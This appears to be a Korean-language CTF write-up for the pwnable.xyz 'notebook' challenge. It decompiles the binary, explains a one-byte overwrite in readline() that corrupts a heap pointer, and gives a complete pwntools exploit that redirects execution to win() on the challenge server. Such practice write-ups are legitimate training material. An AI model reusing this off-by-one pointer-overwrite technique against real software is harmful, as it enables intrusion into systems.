바이너리 파일을 분석하여 c로 나타내면 아래와 같다.

void make_note(){
    printf("size: ");
    int size = read_int();
    void* addr = malloc(0x38); 
    
    *(addr + 0x30) = malloc(size);
    *(addr + 0x8) = size;
    *addr = &get_size();
    
    printf("Title: ");
    readline(addr + 0xc, 0x1f, 0xa);
    
    printf("Note: ")
    readline(*(addr + 0x30), size, 0xa);
    *data_602300 = addr;
}

void edit_note(){
    int addr = *data_602300;
    if(addr != 0){
        addr = *(*data_602300 + 0x30);
        if(addr != 0){
            printf("note: ");
            readline(addr, **data_602300(*data_602300), 0xa);
        }
    }
}

void delete_note(){
    int addr = *data_602300
    if (addr != 0){
        addr = *(*data_602300 + 0x30)
        if (addr != 0){
            free(*(*data_602300 + 0x30));
            free(*data_602300)
            *data_602300 = 0
        }
    }
}

int main(){
    printf("Name your notebook: ");
    readline(nbook, 0x80, 0xa);
    
    while (true){
        print_menu();
        
        int select = read_int();
        
        if (select > 4)
            puts("Invalid");
        else if(select == 0)
            break;
        else if(select == 1)
            make_note();
        else if(select == 2)
            edit_note();
        else if(select == 3)
            delete_note();
        else if(select == 4){
            printf("Notebook name: ");
            readline(nbook, 0x80, 0xa)
        }
    }
}

 

main() 함수에서 사용자로부터 0x80 만큼 입력 받는다.

int main(){
    printf("Name your notebook: ");
    readline(nbook, 0x80, 0xa);
    
    while (true){
        print_menu();
        
        ....
        ....
        
        }
    }
}

이때의 메모리 구조는 아래와 같다.

노란색: 사용자가 입력 가능 공간

빨간색: 동적 할당된 주소가 저장되는 곳

notebook 메모리 구조

 

 

 

 

make_note() 함수를 보면 사용자로 부터 크기를 입력받고, 그 크기 만큼 동적 할당 한다.

기타 데이터 저장을 수행하면 notebook 변수에 저장된다.

void make_note(){
    printf("size: ");
    int size = read_int();
    void* addr = malloc(0x38);  
    
    *(addr + 0x30) = malloc(size);
    *(addr + 0x8) = size;
    *addr = &get_size();
    
    printf("Title: ");
    readline(addr + 0xc, 0x1f, 0xa);
    
    printf("Note: ")
    readline(*(addr + 0x30), size, 0xa);
    *data_602300 = addr;
}

이때 메모리 구조는 다음과 같다.

빨간색: get_size() 함수의 주소

노란색: Title 입력 값

주황색: note의 크기

초록색: note 동적할당 주소

분홍색: note 입력 값

make_note() 함수 호출 후 메모리 구조

 

 

edit_note() 함수에서는 note 입력값을 수정 할 수 있다.

void edit_note(){
    int addr = *data_602300;
    if(addr != 0){
        addr = *(*data_602300 + 0x30);
        if(addr != 0){
            printf("note: ");
            readline(addr, **data_602300(*data_602300), 0xa);
        }
    }
}

 

 

 

위 기능만 봤을 때 취약점이나 로직 에러는 없었다.

그래서 readline() 함수를 자세히 분석해보았는데, one byte overwrite 가 가능했다.

마지막 값이 개행이면 break 하지만, 아니면 값을 넣는다. 이때 one byte overwrite 가 가능하게 된다.

 

이를 이용해서 0x602300에 저장된 동적할당 주소의 1byte를 수정한다.

notebook 메모리 구조

수정된 동적할당 주소가 edit_note() 함수를 호출 할때, +0x30 에 값이 존재 하는지 확인 후, 수정된 동적할당 주소의 값을 호출하는데 여기에 win() 함수의 주소를 적으면 성공이다.

void edit_note(){
    int addr = *data_602300;
    if(addr != 0){
        addr = *(*data_602300 + 0x30);
        if(addr != 0){
            printf("note: ");
            readline(addr, **data_602300(*data_602300), 0xa);
        }
    }
}

 

 

우선 note의 크기를 400 정도 잡아놓고 Note의 값을 아래와 같이 적어준다.

그후 notebook 내용 수정을 위해 "4" 를 입력하고 one byte overwrite 공격을 통해 1byte를 overwrite 한다.

from pwn import *

p = process("./challenge")
e = ELF("./challenge")


p.sendlineafter(": ", "A")
p.sendlineafter("> ", "1")
p.sendlineafter("size: ", "400")
p.sendlineafter("Title: ", "A")
p.sendlineafter("Note: ", "A"*16 + p64(e.symbols["win"])*16 + "A" * 72)

payload = "A"*0x7f + "\xb0"
p.sendlineafter("> ", "4")
p.sendafter("Notebook name: ", payload)

p.interactive()

 

이때 메모리 구조를 보면 아래와 같다.

notebook+128 에는 0xb0으로 overwrite 된 것을 볼 수 있다.

notebook+128 에 overwrite

0x19d02b0의 메모리 구조를 보면 "A"*16 + p64(e.symbols["win"])*16 + "A" * 72 값이 들어간 것을 볼 수 있다.

만약 edit_note() 함수를 호출 했을때 0x19d02b0 에는 win()함수의 주소가 저장되어 있으므로 win()함수를 실행하게 된다.

A값과 win() 함수의 주소를 많이 적은 이유는 heap 주소를 모르는 상태에서 1byte를 overwrite 했기 때문에 입력된 win()함수 중에서 아무거나 걸려서 실행이 되면 되므로 적은 것이다.

0x19d02b0 메모리 구조

 

 

Payload

from pwn import *

p = remote("svc.pwnable.xyz", "30035")
e = ELF("./challenge")


p.sendlineafter(": ", "A")
p.sendlineafter("> ", "1")
p.sendlineafter("size: ", "400")
p.sendlineafter("Title: ", "A")
p.sendlineafter("Note: ", "A"*16 + p64(e.symbols["win"])*16 + "A" * 72)

payload = "A"*0x7f + "\xb0"
p.sendlineafter("> ", "4")
p.sendafter("Notebook name: ", payload)

p.sendlineafter("> ", "2")

p.interactive()

'CTF > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] car shop write up  (0) 2020.08.09
[pwnable.xyz] words write up  (0) 2020.08.08
[pwnable.xyz] notebook write up  (0) 2020.08.07
[pwnable.xyz] nin write up  (0) 2020.08.07
[pwnable.xyz] note v2 write up  (0) 2020.08.05
[pwnable.xyz] - dirty tultle write up  (0) 2020.04.15